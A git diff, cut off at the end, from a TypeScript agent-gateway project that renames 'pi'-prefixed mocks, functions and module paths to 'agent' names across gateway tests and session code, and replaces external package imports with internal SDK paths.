+16,7 @@ import { getFreePort, installGatewayTestHooks, onceMessage, - piSdkMock, + agentDiscoveryMock, rpcReq, resetTestPluginRegistry, setTestPluginRegistry, @@ -90,14 +90,14 @@ type ModelCatalogRpcEntry = { reasoning?: boolean; }; -type PiCatalogFixtureEntry = { +type AgentCatalogFixtureEntry = { id: string; provider: string; name?: string; contextWindow?: number; }; -const buildPiCatalogFixture = (): PiCatalogFixtureEntry[] => [ +const buildAgentCatalogFixture = (): AgentCatalogFixtureEntry[] => [ { id: "gpt-test-z", provider: "openai", contextWindow: 0 }, { id: "gpt-test-a", @@ -153,14 +153,14 @@ describe("gateway server models + voicewake", () => { : await rpcReq<{ models: ModelCatalogRpcEntry[] }>(ws, "models.list"), ); - const setPiCatalog = async (entries: PiCatalogFixtureEntry[]) => { - piSdkMock.enabled = true; - piSdkMock.models = entries; + const setAgentCatalog = async (entries: AgentCatalogFixtureEntry[]) => { + agentDiscoveryMock.enabled = true; + agentDiscoveryMock.models = entries; await resetGatewayModelCatalogCacheForTest(); }; - const seedPiCatalog = async () => { - await setPiCatalog(buildPiCatalogFixture()); + const seedAgentModelCatalog = async () => { + await setAgentCatalog(buildAgentCatalogFixture()); }; const withModelsConfig = async (config: unknown, run: () => Promise): Promise => { @@ -219,7 +219,7 @@ describe("gateway server models + voicewake", () => { }, }, async () => { - await seedPiCatalog(); + await seedAgentModelCatalog(); const res = await listModels(); expect(res.ok).toBe(true); expect(res.payload?.models).toEqual(options.expected); @@ -471,7 +471,7 @@ describe("gateway server models + voicewake", () => { }); test("models.list all view returns model catalog", async () => { - await seedPiCatalog(); + await seedAgentModelCatalog(); const res1 = await listModels({ view: "all" }); const res2 = await listModels({ view: "all" }); @@ -482,7 +482,7 @@ describe("gateway server models + voicewake", () => { const models = res1.payload?.models ?? []; expect(models).toEqual(expectedSortedCatalog()); - expect(piSdkMock.discoverCalls).toBe(1); + expect(agentDiscoveryMock.discoverCalls).toBe(1); }); test("models.list default view uses configured providers instead of the full catalog", async () => { @@ -498,7 +498,7 @@ describe("gateway server models + voicewake", () => { }, }, async () => { - await setPiCatalog([ + await setAgentCatalog([ { id: "remote-a", provider: "unauth-a", name: "Remote A" }, { id: "remote-b", provider: "unauth-b", name: "Remote B" }, ]); @@ -522,12 +522,12 @@ describe("gateway server models + voicewake", () => { }, async () => { await withModelsConfig({}, async () => { - await seedPiCatalog(); - const discoverCallsBefore = piSdkMock.discoverCalls; + await seedAgentModelCatalog(); + const discoverCallsBefore = agentDiscoveryMock.discoverCalls; const res = await listModels({ view: "configured" }); expect(res.ok).toBe(true); expect(res.payload?.models).toStrictEqual([]); - expect(piSdkMock.discoverCalls).toBe(discoverCallsBefore); + expect(agentDiscoveryMock.discoverCalls).toBe(discoverCallsBefore); }); }, ); @@ -550,7 +550,7 @@ describe("gateway server models + voicewake", () => { }, }, async () => { - await setPiCatalog([ + await setAgentCatalog([ { id: "remote-a", provider: "unauth-a", name: "Remote A" }, { id: "remote-b", provider: "unauth-b", name: "Remote B" }, ]); @@ -590,7 +590,7 @@ describe("gateway server models + voicewake", () => { }, }, async () => { - await seedPiCatalog(); + await seedAgentModelCatalog(); const res = await listModels({ view: "configured" }); expect(res.ok).toBe(true); expect(res.payload?.models).toEqual([ @@ -617,7 +617,7 @@ describe("gateway server models + voicewake", () => { }, }, async () => { - await seedPiCatalog(); + await seedAgentModelCatalog(); const res = await listModels({ view: "all" }); expect(res.ok).toBe(true); expect(res.payload?.models).toEqual(expectedSortedCatalog()); @@ -690,7 +690,7 @@ describe("gateway server models + voicewake", () => { }, }, async () => { - await seedPiCatalog(); + await seedAgentModelCatalog(); const res = await listModels(); expect(res.ok).toBe(true); const models = res.payload?.models ?? []; @@ -731,7 +731,7 @@ describe("gateway server models + voicewake", () => { }, }, async () => { - await seedPiCatalog(); + await seedAgentModelCatalog(); const res = await listModels(); expect(res.ok).toBe(true); const models = res.payload?.models ?? []; @@ -746,8 +746,8 @@ describe("gateway server models + voicewake", () => { }); test("models.list rejects unknown params", async () => { - piSdkMock.enabled = true; - piSdkMock.models = [{ id: "gpt-test-a", name: "A", provider: "openai" }]; + agentDiscoveryMock.enabled = true; + agentDiscoveryMock.models = [{ id: "gpt-test-a", name: "A", provider: "openai" }]; const res = await rpcReq(ws, "models.list", { extra: true }); expect(res.ok).toBe(false); diff --git a/src/gateway/server.sessions.compaction.test.ts b/src/gateway/server.sessions.compaction.test.ts index c363f78d171..f5ef8692865 100644 --- a/src/gateway/server.sessions.compaction.test.ts +++ b/src/gateway/server.sessions.compaction.test.ts @@ -6,7 +6,7 @@ import { withEnvAsync } from "../test-utils/env.js"; import { embeddedRunMock, onceMessage, - piSdkMock, + agentDiscoveryMock, rpcReq, startConnectedServerWithClient, writeSessionStore, @@ -367,8 +367,8 @@ test("sessions.compact without maxLines runs embedded manual compaction for chec expect(endPayload.operationId).toBe(startPayload.operationId); expect(typeof startPayload.ts).toBe("number"); expect(typeof endPayload.ts).toBe("number"); - expect(embeddedRunMock.compactEmbeddedPiSession).toHaveBeenCalledTimes(1); - const compactionCall = embeddedRunMock.compactEmbeddedPiSession.mock.calls.at(0)?.[0] as + expect(embeddedRunMock.compactEmbeddedAgentSession).toHaveBeenCalledTimes(1); + const compactionCall = embeddedRunMock.compactEmbeddedAgentSession.mock.calls.at(0)?.[0] as | { agentHarnessId?: string; allowGatewaySubagentBinding?: boolean; @@ -449,7 +449,7 @@ test("sessions.compact treats Codex native compaction start as pending, not comp }), }, }); - embeddedRunMock.compactEmbeddedPiSession.mockResolvedValueOnce({ + embeddedRunMock.compactEmbeddedAgentSession.mockResolvedValueOnce({ ok: true, compacted: false, result: { @@ -548,8 +548,8 @@ test("sessions.patch preserves nested model ids under provider overrides", async const started = await startConnectedServerWithClient(); const { server, ws } = started; try { - piSdkMock.enabled = true; - piSdkMock.models = [ + agentDiscoveryMock.enabled = true; + agentDiscoveryMock.models = [ { id: "moonshotai/kimi-k2.5", name: "Kimi K2.5 (NVIDIA)", provider: "nvidia" }, ]; diff --git a/src/gateway/server.sessions.create.test.ts b/src/gateway/server.sessions.create.test.ts index c59938f3e26..b6bf2c48348 100644 --- a/src/gateway/server.sessions.create.test.ts +++ b/src/gateway/server.sessions.create.test.ts @@ -1,7 +1,7 @@ import fs from "node:fs/promises"; import path from "node:path"; import { expect, test } from "vitest"; -import { piSdkMock, rpcReq, testState, writeSessionStore } from "./test-helpers.js"; +import { agentDiscoveryMock, rpcReq, testState, writeSessionStore } from "./test-helpers.js"; import { setupGatewaySessionsTestHarness, sessionStoreEntry, @@ -19,8 +19,8 @@ function requireNonEmptyString(value: string | undefined, label: string): string test("sessions.create stores dashboard session model and parent linkage, and creates a transcript", async () => { const { dir, storePath } = await createSessionStoreDir(); - piSdkMock.enabled = true; - piSdkMock.models = [{ id: "gpt-test-a", name: "A", provider: "openai" }]; + agentDiscoveryMock.enabled = true; + agentDiscoveryMock.models = [{ id: "gpt-test-a", name: "A", provider: "openai" }]; await writeSessionStore({ entries: { main: sessionStoreEntry("sess-parent"), diff --git a/src/gateway/server.sessions.store-rpc.test.ts b/src/gateway/server.sessions.store-rpc.test.ts index 8a74e41a0ef..7d7e3a5a915 100644 --- a/src/gateway/server.sessions.store-rpc.test.ts +++ b/src/gateway/server.sessions.store-rpc.test.ts @@ -1,7 +1,7 @@ import fs from "node:fs/promises"; import path from "node:path"; import { expect, test, vi } from "vitest"; -import { piSdkMock, rpcReq, testState, writeSessionStore } from "./test-helpers.js"; +import { agentDiscoveryMock, rpcReq, testState, writeSessionStore } from "./test-helpers.js"; import { directSessionReq as directSessionHandlerReq, setupGatewaySessionsTestHarness, @@ -99,7 +99,7 @@ test("lists and patches session store via sessions.* RPC", async () => { broadcastToConnIds: vi.fn(), getSessionEventSubscriberConnIds: () => new Set(), logGateway: { debug: vi.fn() }, - loadGatewayModelCatalog: async () => piSdkMock.models, + loadGatewayModelCatalog: async () => agentDiscoveryMock.models, getRuntimeConfig: getRuntimeConfig, } as never; async function directSessionReq( @@ -343,8 +343,8 @@ test("lists and patches session store via sessions.* RPC", async () => { "agent:main:subagent:one", ); - piSdkMock.enabled = true; - piSdkMock.models = [{ id: "gpt-test-a", name: "A", provider: "openai" }]; + agentDiscoveryMock.enabled = true; + agentDiscoveryMock.models = [{ id: "gpt-test-a", name: "A", provider: "openai" }]; const modelPatched = await directSessionReq<{ ok: true; entry: { diff --git a/src/gateway/session-compaction-checkpoints.test.ts b/src/gateway/session-compaction-checkpoints.test.ts index fb00ad07058..a90ac5181c5 100644 --- a/src/gateway/session-compaction-checkpoints.test.ts +++ b/src/gateway/session-compaction-checkpoints.test.ts @@ -2,8 +2,8 @@ import fsSync from "node:fs"; import fs from "node:fs/promises"; import os from "node:os"; import path from "node:path"; -import type { AssistantMessage } from "@earendil-works/pi-ai"; -import { CURRENT_SESSION_VERSION, SessionManager } from "@earendil-works/pi-coding-agent"; +import { CURRENT_SESSION_VERSION, SessionManager } from "openclaw/plugin-sdk/agent-sessions"; +import type { AssistantMessage } from "openclaw/plugin-sdk/llm"; import { afterEach, describe, expect, test, vi } from "vitest"; import type { OpenClawConfig } from "../config/types.openclaw.js"; import { diff --git a/src/gateway/session-compaction-checkpoints.ts b/src/gateway/session-compaction-checkpoints.ts index 5fbcd893307..1dc830a8b57 100644 --- a/src/gateway/session-compaction-checkpoints.ts +++ b/src/gateway/session-compaction-checkpoints.ts @@ -2,11 +2,10 @@ import { randomUUID } from "node:crypto"; import fs from "node:fs/promises"; import path from "node:path"; import { - CURRENT_SESSION_VERSION, migrateSessionEntries, SessionManager, - type FileEntry as PiSessionFileEntry, -} from "@earendil-works/pi-coding-agent"; + type FileEntry as SessionFileEntry, +} from "../agents/sessions/session-manager.js"; import { updateSessionStore } from "../config/sessions.js"; import type { SessionCompactionCheckpoint, @@ -15,6 +14,7 @@ import type { } from "../config/sessions.js"; import { isCompactionCheckpointTranscriptFileName } from "../config/sessions/artifacts.js"; import { streamSessionTranscriptLines } from "../config/sessions/transcript-stream.js"; +import { CURRENT_SESSION_VERSION } from "../config/sessions/version.js"; import type { OpenClawConfig } from "../config/types.openclaw.js"; import { createSubsystemLogger } from "../logging/subsystem.js"; import { resolveGatewaySessionStoreTarget } from "./session-utils.js"; @@ -214,8 +214,8 @@ function parseTranscriptLineId( async function readTranscriptEntriesForForkAsync(params: { sessionFile: string; stopAfterEntryId?: string; -}): Promise { - const entries: PiSessionFileEntry[] = []; +}): Promise { + const entries: SessionFileEntry[] = []; const stopAfterEntryId = params.stopAfterEntryId?.trim(); let foundStopEntry = false; try { @@ -225,7 +225,7 @@ async function readTranscriptEntriesForForkAsync(params: { if (!parsed || typeof parsed !== "object" || Array.isArray(parsed)) { continue; } - entries.push(parsed as PiSessionFileEntry); + entries.push(parsed as SessionFileEntry); if ( stopAfterEntryId && (parsed as { type?: unknown; id?: unknown }).type !== "session" && @@ -235,7 +235,7 @@ async function readTranscriptEntriesForForkAsync(params: { break; } } catch { - // Match pi-coding-agent's loader: malformed JSONL entries are ignored. + // Match session runtime's loader: malformed JSONL entries are ignored. } } } catch { @@ -252,9 +252,9 @@ async function readTranscriptEntriesForForkAsync(params: { } function trimTranscriptEntriesThroughLeaf( - entries: PiSessionFileEntry[], + entries: SessionFileEntry[], leafId: string | undefined, -): PiSessionFileEntry[] | null { +): SessionFileEntry[] | null { const normalizedLeafId = leafId?.trim(); if (!normalizedLeafId) { return entries; diff --git a/src/gateway/session-reset-service.ts b/src/gateway/session-reset-service.ts index 1d57b5c8b38..1c29cd1d01b 100644 --- a/src/gateway/session-reset-service.ts +++ b/src/gateway/session-reset-service.ts @@ -1,15 +1,14 @@ import { randomUUID } from "node:crypto"; import fs from "node:fs"; import path from "node:path"; -import { CURRENT_SESSION_VERSION } from "@earendil-works/pi-coding-agent"; import { getAcpSessionManager } from "../acp/control-plane/manager.js"; import { getAcpRuntimeBackend } from "../acp/runtime/registry.js"; import { readAcpSessionEntry, upsertAcpSessionMeta } from "../acp/runtime/session-meta.js"; +import { retireSessionMcpRuntime } from "../agents/agent-bundle-mcp-tools.js"; import { resolveAgentWorkspaceDir, resolveDefaultAgentId } from "../agents/agent-scope.js"; import { clearBootstrapSnapshot } from "../agents/bootstrap-cache.js"; import { clearAllCliSessions } from "../agents/cli-session.js"; -import { retireSessionMcpRuntime } from "../agents/pi-bundle-mcp-tools.js"; -import { abortEmbeddedPiRun, waitForEmbeddedPiRunEnd } from "../agents/pi-embedded.js"; +import { abortEmbeddedAgentRun, waitForEmbeddedAgentRunEnd } from "../agents/embedded-agent.js"; import { stopSubagentsForRequester } from "../auto-reply/reply/abort.js"; import { buildSessionEndHookPayload, @@ -29,6 +28,7 @@ import { rewriteSessionFileForNewSessionId, } from "../config/sessions/session-file-rotation.js"; import type { SessionAcpMeta } from "../config/sessions/types.js"; +import { CURRENT_SESSION_VERSION } from "../config/sessions/version.js"; import type { OpenClawConfig } from "../config/types.openclaw.js"; import { logVerbose } from "../globals.js"; import { createInternalHookEvent, triggerInternalHook } from "../hooks/internal-hooks.js"; @@ -388,8 +388,8 @@ async function ensureSessionRuntimeCleanup(params: { await closeTrackedBrowserTabs(); return undefined; } - abortEmbeddedPiRun(params.sessionId); - const ended = await waitForEmbeddedPiRunEnd(params.sessionId, 15_000); + abortEmbeddedAgentRun(params.sessionId); + const ended = await waitForEmbeddedAgentRunEnd(params.sessionId, 15_000); clearBootstrapSnapshot(params.target.canonicalKey); if (ended) { await retireSessionMcpRuntime({ diff --git a/src/gateway/session-utils.fs.test.ts b/src/gateway/session-utils.fs.test.ts index ae2b3b62b62..0089efbe41b 100644 --- a/src/gateway/session-utils.fs.test.ts +++ b/src/gateway/session-utils.fs.test.ts @@ -1,7 +1,7 @@ import fs from "node:fs"; import os from "node:os"; import path from "node:path"; -import { SessionManager } from "@earendil-works/pi-coding-agent"; +import { SessionManager } from "openclaw/plugin-sdk/agent-sessions"; import { afterAll, afterEach, beforeAll, describe, expect, test, vi } from "vitest"; import { estimateStringChars, estimateTokensFromChars } from "../utils/cjk-chars.js"; import { createToolSummaryPreviewTranscriptLines } from "./session-preview.test-helpers.js"; @@ -85,6 +85,18 @@ function appendBlockedUserMessageWithSessionManager(params: { idempotencyKey?: string; }): string { const sessionManager = SessionManager.open(params.sessionFile, path.dirname(params.sessionFile)); + return appendBlockedUserMessage(sessionManager, params); +} + +function appendBlockedUserMessage( + sessionManager: SessionManager, + params: { + originalText?: string; + redactedText: string; + pluginId: string; + idempotencyKey?: string; + }, +): string { const messageId = sessionManager.appendMessage({ role: "user", content: [{ type: "text", text: params.redactedText }], @@ -97,7 +109,7 @@ function appendBlockedUserMessageWithSessionManager(params: { }, }, } as Parameters[0]); - (sessionManager as unknown as { _rewriteFile?: () => void })["_rewriteFile"]?.(); + (sessionManager as unknown as { rewriteFile?: () => void }).rewriteFile?.(); return messageId; } @@ -1247,14 +1259,12 @@ describe("readSessionMessages", () => { "utf-8", ); - appendBlockedUserMessageWithSessionManager({ - sessionFile, + appendBlockedUserMessage(sessionManager, { originalText: "[hitl:block] first", redactedText: "Blocked by HITL test hook.", pluginId: "hitl-test-hooks", }); - appendBlockedUserMessageWithSessionManager({ - sessionFile, + appendBlockedUserMessage(sessionManager, { originalText: "[hitl:block] second", redactedText: "Blocked again by HITL test hook.", pluginId: "hitl-test-hooks", diff --git a/src/gateway/sessions-history-http.test.ts b/src/gateway/sessions-history-http.test.ts index 336cf7f64be..def5197ce64 100644 --- a/src/gateway/sessions-history-http.test.ts +++ b/src/gateway/sessions-history-http.test.ts @@ -1,7 +1,7 @@ import fs from "node:fs/promises"; import os from "node:os"; import path from "node:path"; -import type { AssistantMessage } from "@earendil-works/pi-ai"; +import type { AssistantMessage } from "openclaw/plugin-sdk/llm"; import { afterEach, describe, expect, test } from "vitest"; import { appendAssistantMessageToSessionTranscript, diff --git a/src/gateway/talk-realtime-relay.test.ts b/src/gateway/talk-realtime-relay.test.ts index c1ac8478967..bcf2b9a776f 100644 --- a/src/gateway/talk-realtime-relay.test.ts +++ b/src/gateway/talk-realtime-relay.test.ts @@ -2,7 +2,7 @@ import { afterEach, describe, expect, it, vi } from "vitest"; import { setActiveEmbeddedRun, testing as embeddedRunTesting, -} from "../agents/pi-embedded-runner/runs.js"; +} from "../agents/embedded-agent-runner/runs.js"; import type { RealtimeVoiceProviderPlugin } from "../plugins/types.js"; import type { RealtimeVoiceBridgeCreateRequest } from "../talk/provider-types.js"; import { diff --git a/src/gateway/test-helpers.mocks.ts b/src/gateway/test-helpers.mocks.ts index 855c9db8048..8c90cc48944 100644 --- a/src/gateway/test-helpers.mocks.ts +++ b/src/gateway/test-helpers.mocks.ts @@ -14,7 +14,7 @@ import { getReplyFromConfig, getGatewayTestHoistedState, mockGetReplyFromConfigOnce, - piSdkMock, + agentDiscoveryMock, runBtwSideQuestion, sendWhatsAppMock, sessionStoreSaveDelayMs, @@ -34,7 +34,7 @@ export { embeddedRunMock, getReplyFromConfig, mockGetReplyFromConfigOnce, - piSdkMock, + agentDiscoveryMock, runBtwSideQuestion, sendWhatsAppMock, sessionStoreSaveDelayMs, @@ -49,14 +49,14 @@ const gatewayTestHoisted = getGatewayTestHoistedState(); function createEmbeddedRunMockExports() { return { - compactEmbeddedPiSession: (...args: unknown[]) => - embeddedRunMock.compactEmbeddedPiSession(...args), - isEmbeddedPiRunActive: (sessionId: string) => embeddedRunMock.activeIds.has(sessionId), - abortEmbeddedPiRun: (sessionId: string) => { + compactEmbeddedAgentSession: (...args: unknown[]) => + embeddedRunMock.compactEmbeddedAgentSession(...args), + isEmbeddedAgentRunActive: (sessionId: string) => embeddedRunMock.activeIds.has(sessionId), + abortEmbeddedAgentRun: (sessionId: string) => { embeddedRunMock.abortCalls.push(sessionId); return embeddedRunMock.activeIds.has(sessionId); }, - waitForEmbeddedPiRunEnd: async (sessionId: string) => { + waitForEmbeddedAgentRunEnd: async (sessionId: string) => { embeddedRunMock.waitCalls.push(sessionId); return embeddedRunMock.waitResults.get(sessionId) ?? true; }, @@ -93,9 +93,9 @@ function createDispatchInboundMessageMockExports( }; } -vi.mock("../agents/pi-model-discovery.js", async () => { - const actual = await vi.importActual( - "../agents/pi-model-discovery.js", +vi.mock("../agents/agent-model-discovery.js", async () => { + const actual = await vi.importActual( + "../agents/agent-model-discovery.js", ); const createActualRegistry = (...args: Parameters) => { @@ -128,31 +128,31 @@ vi.mock("../agents/pi-model-discovery.js", async () => { private readonly actualRegistry?: ReturnType; constructor(authStorage: unknown, modelsFile: string) { - if (!piSdkMock.enabled) { + if (!agentDiscoveryMock.enabled) { this.actualRegistry = createActualRegistry(authStorage as never, path.dirname(modelsFile)); } } getAll() { - if (!piSdkMock.enabled) { + if (!agentDiscoveryMock.enabled) { return this.actualRegistry?.getAll() ?? []; } - piSdkMock.discoverCalls += 1; - return piSdkMock.models as Array<{ provider?: string; id?: string }>; + agentDiscoveryMock.discoverCalls += 1; + return agentDiscoveryMock.models as Array<{ provider?: string; id?: string }>; } getAvailable() { - if (!piSdkMock.enabled) { + if (!agentDiscoveryMock.enabled) { return this.actualRegistry?.getAvailable() ?? []; } - return piSdkMock.models as Array<{ provider?: string; id?: string }>; + return agentDiscoveryMock.models as Array<{ provider?: string; id?: string }>; } find(provider: string, modelId: string) { - if (!piSdkMock.enabled) { + if (!agentDiscoveryMock.enabled) { return this.actualRegistry?.find(provider, modelId); } - return (piSdkMock.models as Array<{ provider?: string; id?: string }>).find( + return (agentDiscoveryMock.models as Array<{ provider?: string; id?: string }>).find( (model) => model.provider === provider && model.id === modelId, ); } @@ -160,6 +160,8 @@ vi.mock("../agents/pi-model-discovery.js", async () => { return { ...actual, + discoverModels: (authStorage: Parameters[0], agentDir: string) => + new MockModelRegistry(authStorage, path.join(agentDir, "models.json")), ModelRegistry: MockModelRegistry, }; }); @@ -229,30 +231,28 @@ vi.mock("../config/io.js", async () => { }; }); -vi.mock("../agents/pi-embedded.js", async () => { - return await importEmbeddedRunMockModule( - "../agents/pi-embedded.js", +vi.mock("../agents/embedded-agent.js", async () => { + return await importEmbeddedRunMockModule( + "../agents/embedded-agent.js", ); }); -vi.mock("/src/agents/pi-embedded.js", async () => { - return await importEmbeddedRunMockModule( - "../agents/pi-embedded.js", +vi.mock("/src/agents/embedded-agent.js", async () => { + return await importEmbeddedRunMockModule( + "../agents/embedded-agent.js", ); }); -vi.mock("../agents/pi-embedded-runner/runs.js", async () => { - return await importEmbeddedRunMockModule( - "../agents/pi-embedded-runner/runs.js", - { includeActiveCount: true }, - ); +vi.mock("../agents/embedded-agent-runner/runs.js", async () => { + return await importEmbeddedRunMockModule< + typeof import("../agents/embedded-agent-runner/runs.js") + >("../agents/embedded-agent-runner/runs.js", { includeActiveCount: true }); }); -vi.mock("/src/agents/pi-embedded-runner/runs.js", async () => { - return await importEmbeddedRunMockModule( - "../agents/pi-embedded-runner/runs.js", - { includeActiveCount: true }, - ); +vi.mock("/src/agents/embedded-agent-runner/runs.js", async () => { + return await importEmbeddedRunMockModule< + typeof import("../agents/embedded-agent-runner/runs.js") + >("../agents/embedded-agent-runner/runs.js", { includeActiveCount: true }); }); vi.mock("../commands/health.js", () => ({ diff --git a/src/gateway/test-helpers.runtime-state.ts b/src/gateway/test-helpers.runtime-state.ts index 1f6f9194840..f7265483632 100644 --- a/src/gateway/test-helpers.runtime-state.ts +++ b/src/gateway/test-helpers.runtime-state.ts @@ -23,13 +23,13 @@ type AgentCommandFn = (...args: unknown[]) => Promise; type SendWhatsAppFn = (...args: unknown[]) => Promise<{ messageId: string; toJid: string }>; export type RunBtwSideQuestionFn = (...args: unknown[]) => Promise; type DispatchInboundMessageFn = (...args: unknown[]) => Promise; -type CompactEmbeddedPiSessionFn = (...args: unknown[]) => Promise; +type CompactEmbeddedAgentSessionFn = (...args: unknown[]) => Promise; const GATEWAY_TEST_CONFIG_ROOT_KEY = Symbol.for("openclaw.gatewayTestHelpers.configRoot"); type GatewayTestHoistedState = { testTailnetIPv4: { value: string | undefined }; - piSdkMock: { + agentDiscoveryMock: { enabled: boolean; discoverCalls: number; models: Array<{ @@ -52,7 +52,7 @@ type GatewayTestHoistedState = { abortCalls: string[]; waitCalls: string[]; waitResults: Map; - compactEmbeddedPiSession: Mock; + compactEmbeddedAgentSession: Mock; }; testTailscaleWhois: { value: TailscaleWhoisIdentity | null }; getReplyFromConfig: Mock; @@ -86,7 +86,7 @@ const gatewayTestHoisted = vi.hoisted(() => { } const created: GatewayTestHoistedState = { testTailnetIPv4: { value: undefined }, - piSdkMock: { + agentDiscoveryMock: { enabled: false, discoverCalls: 0, models: [], @@ -102,7 +102,7 @@ const gatewayTestHoisted = vi.hoisted(() => { abortCalls: [], waitCalls: [], waitResults: new Map(), - compactEmbeddedPiSession: vi.fn().mockResolvedValue({ + compactEmbeddedAgentSession: vi.fn().mockResolvedValue({ ok: true, compacted: true, result: { @@ -146,7 +146,7 @@ export function getGatewayTestHoistedState(): GatewayTestHoistedState { export const testTailnetIPv4 = gatewayTestHoisted.testTailnetIPv4; export const testTailscaleWhois = gatewayTestHoisted.testTailscaleWhois; -export const piSdkMock = gatewayTestHoisted.piSdkMock; +export const agentDiscoveryMock = gatewayTestHoisted.agentDiscoveryMock; export const cronIsolatedRun = gatewayTestHoisted.cronIsolatedRun; export const agentCommand = gatewayTestHoisted.agentCommand; export const runBtwSideQuestion = gatewayTestHoisted.runBtwSideQuestion; diff --git a/src/gateway/test-helpers.server.ts b/src/gateway/test-helpers.server.ts index bf432ee4d3e..45668191c4d 100644 --- a/src/gateway/test-helpers.server.ts +++ b/src/gateway/test-helpers.server.ts @@ -47,7 +47,7 @@ import { cronIsolatedRun, embeddedRunMock, getReplyFromConfig, - piSdkMock, + agentDiscoveryMock, sendWhatsAppMock, sessionStoreSaveDelayMs, setTestConfigRoot, @@ -72,7 +72,6 @@ const GATEWAY_TEST_ENV_KEYS = [ "OPENCLAW_STATE_DIR", "OPENCLAW_CONFIG_PATH", "OPENCLAW_AGENT_DIR", - "PI_CODING_AGENT_DIR", "OPENCLAW_GATEWAY_TOKEN", "OPENCLAW_SKIP_BROWSER_CONTROL_SERVER", "OPENCLAW_SKIP_GMAIL_WATCHER", @@ -235,7 +234,6 @@ async function setupGatewayTestHome() { process.env.OPENCLAW_STATE_DIR = path.join(tempHome, ".openclaw"); delete process.env.OPENCLAW_CONFIG_PATH; delete process.env.OPENCLAW_AGENT_DIR; - delete process.env.PI_CODING_AGENT_DIR; } function applyGatewaySkipEnv() { @@ -347,8 +345,8 @@ async function resetGatewayTestState(options: { uniqueConfigRoot: boolean }) { embeddedRunMock.abortCalls = []; embeddedRunMock.waitCalls = []; embeddedRunMock.waitResults.clear(); - embeddedRunMock.compactEmbeddedPiSession.mockReset(); - embeddedRunMock.compactEmbeddedPiSession.mockResolvedValue({ + embeddedRunMock.compactEmbeddedAgentSession.mockReset(); + embeddedRunMock.compactEmbeddedAgentSession.mockResolvedValue({ ok: true, compacted: true, result: { @@ -364,9 +362,9 @@ async function resetGatewayTestState(options: { uniqueConfigRoot: boolean }) { resetAgentRunContextForTest(); const mod = await getServerModule(); await mod.resetModelCatalogCacheForTest(); - piSdkMock.enabled = false; - piSdkMock.discoverCalls = 0; - piSdkMock.models = []; + agentDiscoveryMock.enabled = false; + agentDiscoveryMock.discoverCalls = 0; + agentDiscoveryMock.models = []; } async function cleanupGatewayTestHome(options: { restoreEnv: boolean }) { @@ -438,8 +436,8 @@ async function resetGatewayTestRuntimeOnly() { embeddedRunMock.abortCalls = []; embeddedRunMock.waitCalls = []; embeddedRunMock.waitResults.clear(); - embeddedRunMock.compactEmbeddedPiSession.mockReset(); - embeddedRunMock.compactEmbeddedPiSession.mockResolvedValue({ + embeddedRunMock.compactEmbeddedAgentSession.mockReset(); + embeddedRunMock.compactEmbeddedAgentSession.mockResolvedValue({ ok: true, compacted: true, result: { diff --git a/src/gateway/test-helpers.ts b/src/gateway/test-helpers.ts index 0e9d7d1fdbb..7cc0d3ac022 100644 --- a/src/gateway/test-helpers.ts +++ b/src/gateway/test-helpers.ts @@ -5,7 +5,7 @@ export { embeddedRunMock, getReplyFromConfig, mockGetReplyFromConfigOnce, - piSdkMock, + agentDiscoveryMock, testState, testTailnetIPv4, testTailscaleWhois, diff --git a/src/gateway/test/server-sessions.test-helpers.ts b/src/gateway/test/server-sessions.test-helpers.ts index 2c066841ca9..259d3e2edeb 100644 --- a/src/gateway/test/server-sessions.test-helpers.ts +++ b/src/gateway/test/server-sessions.test-helpers.ts @@ -2,7 +2,7 @@ import fsSync from "node:fs"; import fs from "node:fs/promises"; import os from "node:os"; import path from "node:path"; -import type { AssistantMessage, UserMessage } from "@earendil-works/pi-ai"; +import type { AssistantMessage, UserMessage } from "openclaw/plugin-sdk/llm"; import { afterAll, beforeAll, beforeEach, expect, vi } from "vitest"; import type { SessionEntry } from "../../config/sessions.js"; import type { InternalHookEvent } from "../../hooks/internal-hooks.js"; @@ -12,19 +12,19 @@ import { connectOk, embeddedRunMock, installGatewayTestHooks, - piSdkMock, + agentDiscoveryMock, rpcReq, testState, writeSessionStore, } from "../test-helpers.js"; let sessionManagerModulePromise: - | Promise + | Promise | undefined; let gatewayConfigModulePromise: Promise | undefined; export async function getSessionManagerModule() { - sessionManagerModulePromise ??= import("@earendil-works/pi-coding-agent"); + sessionManagerModulePromise ??= import("../../agents/sessions/index.js"); return await sessionManagerModulePromise; } @@ -231,7 +231,7 @@ vi.mock("../../plugin-sdk/browser-maintenance.js", () => ({ movePathToTrash: vi.fn(async () => {}), })); -vi.mock("../../agents/pi-bundle-mcp-tools.js", () => ({ +vi.mock("../../agents/agent-bundle-mcp-tools.js", () => ({ disposeSessionMcpRuntime: bundleMcpRuntimeMocks.disposeSessionMcpRuntime, disposeAllSessionMcpRuntimes: bundleMcpRuntimeMocks.disposeAllSessionMcpRuntimes, retireSessionMcpRuntime: ({ sessionId }: { sessionId?: string | null }) => @@ -495,7 +495,7 @@ export async function directSessionReq( context: { broadcastToConnIds: vi.fn(), getSessionEventSubscriberConnIds: () => new Set(), - loadGatewayModelCatalog: async () => piSdkMock.models, + loadGatewayModelCatalog: async () => agentDiscoveryMock.models, getRuntimeConfig: getRuntimeConfig, ...opts?.context, } as never, diff --git a/src/gateway/tool-resolution.ts b/src/gateway/tool-resolution.ts index af29d7f527f..f4903a25d43 100644 --- a/src/gateway/tool-resolution.ts +++ b/src/gateway/tool-resolution.ts @@ -1,11 +1,11 @@ import { resolveAgentWorkspaceDir, resolveDefaultAgentId } from "../agents/agent-scope.js"; -import { createOpenClawTools } from "../agents/openclaw-tools.js"; import { resolveEffectiveToolPolicy, resolveGroupToolPolicy, resolveInheritedToolPolicyForSession, resolveSubagentToolPolicyForSession, -} from "../agents/pi-tools.policy.js"; +} from "../agents/agent-tools.policy.js"; +import { createOpenClawTools } from "../agents/openclaw-tools.js"; import { isSubagentEnvelopeSession, resolveSubagentCapabilityStore, diff --git a/src/gateway/tools-invoke-http.cron-regression.test.ts b/src/gateway/tools-invoke-http.cron-regression.test.ts index 9c7ceb15b6e..fe1a8cf51f4 100644 --- a/src/gateway/tools-invoke-http.cron-regression.test.ts +++ b/src/gateway/tools-invoke-http.cron-regression.test.ts @@ -35,11 +35,11 @@ vi.mock("../logger.js", () => ({ logWarn: noWarnLog, })); -vi.mock("../agents/pi-tools.js", () => ({ +vi.mock("../agents/agent-tools.js", () => ({ resolveToolLoopDetectionConfig, })); -vi.mock("../agents/pi-tools.before-tool-call.js", () => ({ +vi.mock("../agents/agent-tools.before-tool-call.js", () => ({ runBeforeToolCallHook, })); diff --git a/src/gateway/tools-invoke-http.test.ts b/src/gateway/tools-invoke-http.test.ts index 